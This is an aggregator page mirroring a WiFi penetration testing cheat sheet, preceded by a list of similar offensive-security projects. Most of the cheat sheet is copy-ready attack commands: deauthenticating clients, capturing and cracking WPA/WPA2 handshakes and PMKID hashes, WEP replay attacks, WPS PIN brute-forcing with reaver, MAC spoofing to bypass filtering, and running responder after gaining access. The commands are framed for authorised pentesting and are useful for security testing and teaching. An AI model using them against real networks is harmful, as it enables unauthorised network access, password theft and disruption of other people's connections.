GitPlanet

Cheap and reliable Node.js hosting starts at $3/month, and $1/month static HTML hosting

Created with love in Canada, visit hostnodejs.com today

Feel like to post an Ad? Learn Details
All Projects → ivan-sincek → wifi-penetration-testing-cheat-sheet

ivan-sincek / wifi-penetration-testing-cheat-sheet

Licence: MIT license
Work in progress...

Labels

securitywifipenetration-testingbug-bountyoffensive-securityevil-twinethical-hackingwifi-pineappleaircrack-ngred-team-engagementwifi-penetration-testing

Projects that are alternatives of or similar to wifi-penetration-testing-cheat-sheet

lazyaircrack
Automated tool for WiFi hacking.
Stars: ✭ 301 (+102.01%)
Mutual labels:  wifi, penetration-testing, aircrack-ng
DNSExplorer
Bash script that automates the enumeration of domains and DNS servers in the active information gathering.
Stars: ✭ 33 (-77.85%)
Mutual labels:  penetration-testing, offensive-security, ethical-hacking
xss-catcher
Simple API for storing all incoming XSS requests.
Stars: ✭ 26 (-82.55%)
Mutual labels:  offensive-security, ethical-hacking, red-team-engagement
Knary
A simple HTTP(S) and DNS Canary bot with Slack/Discord/MS Teams & Pushover support
Stars: ✭ 187 (+25.5%)
Mutual labels:  penetration-testing, offensive-security
Nosqlmap
Automated NoSQL database enumeration and web application exploitation tool.
Stars: ✭ 1,928 (+1193.96%)
Mutual labels:  penetration-testing, offensive-security
Reconnoitre
A security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing.
Stars: ✭ 1,824 (+1124.16%)
Mutual labels:  penetration-testing, offensive-security
Awesome Hacking
A collection of various awesome lists for hackers, pentesters and security researchers
Stars: ✭ 48,038 (+32140.27%)
Mutual labels:  penetration-testing, bug-bounty
wifi-pentesting-guide
WiFi Penetration Testing Guide
Stars: ✭ 105 (-29.53%)
Mutual labels:  wifi, offensive-security
Awesome Bbht
A bash script that will automatically install a list of bug hunting tools that I find interesting for recon, exploitation, etc. (minus burp) For Ubuntu/Debain.
Stars: ✭ 190 (+27.52%)
Mutual labels:  penetration-testing, bug-bounty
8821au
Linux Driver for USB WiFi Adapters that are based on the RTL8811AU and RTL8821AU Chipsets
Stars: ✭ 67 (-55.03%)
Mutual labels:  wifi, aircrack-ng
realtek rtwifi
Realtek RTWIFI - RTL8XXXU mod
Stars: ✭ 32 (-78.52%)
Mutual labels:  wifi, aircrack-ng
8821au-20210708
Linux Driver for USB WiFi Adapters that are based on the RTL8811AU and RTL8821AU Chipsets - v5.12.5.2
Stars: ✭ 40 (-73.15%)
Mutual labels:  wifi, aircrack-ng
Buffer overflow
Don't let buffer overflows overflow your mind
Stars: ✭ 131 (-12.08%)
Mutual labels:  penetration-testing, offensive-security
Pidrila
Python Interactive Deepweb-oriented Rapid Intelligent Link Analyzer
Stars: ✭ 125 (-16.11%)
Mutual labels:  penetration-testing, bug-bounty
Crithit
Takes a single wordlist item and tests it one by one over a large collection of websites before moving onto the next. Create signatures to cross-check vulnerabilities over multiple hosts.
Stars: ✭ 182 (+22.15%)
Mutual labels:  penetration-testing, offensive-security
Black Widow
GUI based offensive penetration testing tool (Open Source)
Stars: ✭ 124 (-16.78%)
Mutual labels:  penetration-testing, offensive-security
ApeX
Using Social Engineering To Obtain WiFi Passwords
Stars: ✭ 87 (-41.61%)
Mutual labels:  wifi, evil-twin
Wifi Cracking
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat
Stars: ✭ 9,546 (+6306.71%)
Mutual labels:  wifi, aircrack-ng
Keye
Keye is a reconnaissance tool that was written in Python with SQLite3 integrated. After adding a single URL, or a list of URLs, it will make a request to these URLs and try to detect changes based on their response's body length.
Stars: ✭ 101 (-32.21%)
Mutual labels:  penetration-testing, bug-bounty
Punk.py
unix SSH post-exploitation 1337 tool
Stars: ✭ 107 (-28.19%)
Mutual labels:  penetration-testing, offensive-security
View All Similar Projects ➔

WiFi Penetration Testing Cheat Sheet

This is more of a checklist for myself. May contain useful tips and tricks.

Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple Mark VII Basic with the firmware v1.0.2.

Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple NANO with the firmware v2.7.0.

For help with any of the tools type <tool_name> [-h | -hh | --help] or man <tool_name>.

Sometimes -h can be mistaken for a host or some other option. If that's the case, use -hh or --help instead, or read the manual with man.

Websites that you should use while writing the report:

Check the most popular tool for auditing wireless networks v1s1t0r1sh3r3/airgeddon. Credits to the author!

Future plans:

  • fake AP with RADIUS to crack the WPA2 Enterprise authentication.

My other cheat sheets:

Table of Contents

1. Configuration

2. Monitoring

3. Cracking

4. Wordlists

5. Post-Exploitation

6. Evil-Twin

1. Configuration

View the configuration of network interfaces:

ifconfig && iwconfig && airmon-ng

Turn a network interface on/off:

ifconfig wlan0 up

ifconfig wlan0 down

Restart the network manager:

service NetworkManager restart

Check the WLAN regulatory domain:

iw reg get

Set the WLAN regulatory domain:

iw reg set HR

Turn the power of a wireless interface up/down (too high can be illegal in some countries):

iwconfig wlan0 txpower 40

2. Monitoring

Set a wireless network interface to the monitoring mode:

airmon-ng start wlan0

ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up

Set a wireless network interface to the monitoring mode on a specified channel:

airmon-ng start wlan0 8

iwconfig wlan0 channel 8

[Optional] Kill services that might interfere with wireless network interfaces in the monitoring mode:

airmon-ng check kill

Set a wireless network interface back to the managed mode:

airmon-ng stop wlan0mon

ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up

Search for WiFi networks within your range:

airodump-ng --wps -w airodump_sweep_results wlan0mon

wash -a -i wlan0mon

[Optional] Install reaver/wash on WiFi Pineapple Mark VII:

opkg update && opkg install libpcap reaver

[Optional] Install reaver/wash on WiFi Pineapple Nano:

opkg update && opkg install libpcap && opkg -d sd install wash

Monitor a WiFi network to capture handshakes/requests:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF

If you specified the output file, don't forget to stop airodump-ng after you are done monitoring because it will fill up all your free storage space with a large PCAP file.

Use Kismet or WiFi Pineapple to find more information about wireless access points, e.g. their MAC address, vendor's name, etc.

3. Cracking

Check if a wireless interface supports packet injection:

aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF

WPA/WPA2 Handshake

Monitor a WiFi network to capture a WPA/WPA2 4-way handshake:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF

[Optional] Deauthenticate clients from a WiFi network:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Start the dictionary attack against a WPA/WPA2 handshake:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.cap

PMKID Attack

Crack the WPA/WPA2 authentication without deauthenticating clients.

Install required tools on Kali Linux:

apt-get update && apt-get -y install hcxtools

[Optional] Install required tool on WiFi Pineapple Mark VII:

opkg update && opkg install hcxdumptool

[Optional] Install required tool on WiFi Pineapple Nano:

opkg update && opkg -d sd install hcxdumptool

Start capturing PMKID hashes for all nearby networks:

hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon

[Optional] Start capturing PMKID hashes for specified WiFi networks:

echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt

hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist_ap=filter.txt --filtermode=2

Sometimes it can take hours to capture a single PMKID hash.

Extract PMKID hashes from a PCAP file:

hcxpcaptool hcxdumptool_results.cap -k hashes.txt

Start the dictionary attack against PMKID hashes:

hashcat -m 16800 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt

Find out more about Hashcat from my other project.

ARP Request Replay Attack

If target WiFi network is not busy, it can take days to capture enough IVs to crack the WEP authentication.

Do the fake authentication to a WiFi network with non-existing MAC address and keep the connection alive:

aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

If MAC address filtering is active, do the fake authentication to a WiFi network with an existing MAC address:

aireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

To monitor the number of captured IVs, run airodump-ng against a WiFi network and watch the #Data column (try to capture around 100k IVs):

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF

Start the standard ARP request replaying against a WiFi network:

aireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

[Optional] Deauthenticate clients from a WiFi network:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Crack the WEP authentication:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap

Hitre Attack

This attack targets clients, not wireless access points. You must know the SSIDs of your target's WiFi networks.

[Optional] Set up a fake WEP WiFi network if the real one is not present:

airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF

If needed, turn up the power of a wireless network interface to missassociate clients to the fake WiFi network, see how in 1. Configuration.

Monitor the real/fake WiFi network to capture handshakes/requests:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF

Start replaying packets to clients within your range:

aireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF

[Optional] Deauthenticate clients from the real/fake WiFi network:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Crack the WEP authentication:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap

WPS PIN

Crack a WPS PIN:

reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF

Crack a WPS PIN with some delay between attempts:

reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF

4. Wordlists

You can find rockyou.txt wordlist located at /usr/share/wordlists/ or in SecLists.

Download a useful collection of multiple types of lists for security assessments.

Installation:

apt-get update && apt-get install seclists

Lists will be stored at /usr/share/seclists/.

Or, manually download the collection from GitHub.

Another popular wordlist collections:

Password Spraying

Find out how to generate a good password spraying wordlist from my other project, but first you will need a few good keywords that describe your target.

Such keywords can be a company name, abbreviations, words that describe your target's services, products, etc.

After you generate the wordlist, use it with aircrack-ng to crack a WPA/WPA2 handshake.

If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).

You can also use the generated wordlist with Hashcat, e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.

5. Post-Exploitation

If MAC address filtering is active, change the MAC address of a wireless interface to an existing one:

ifconfig wlan0 down && macchanger --mac FF:FF:FF:FF:FF:FF && ifconfig wlan0 up

Once you get an access to a WiFi network, run the following tools:

yersinia -G

responder -wF -i 192.168.8.5

wireshark

Find out how to pipe tcpdump from WiFi Pineapple to Wireshark from my other poject.

Try to access the wireless access point's web interface. Search the Internet for default paths and credentials.

Start scanning/enumerating the network.

6. Evil-Twin

Find out how to set up a fake authentication web page on a fake WiFi network with WiFi Pineapple Mark VII Basic from my other project, as well as how to set up all the tools from this cheat sheet.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].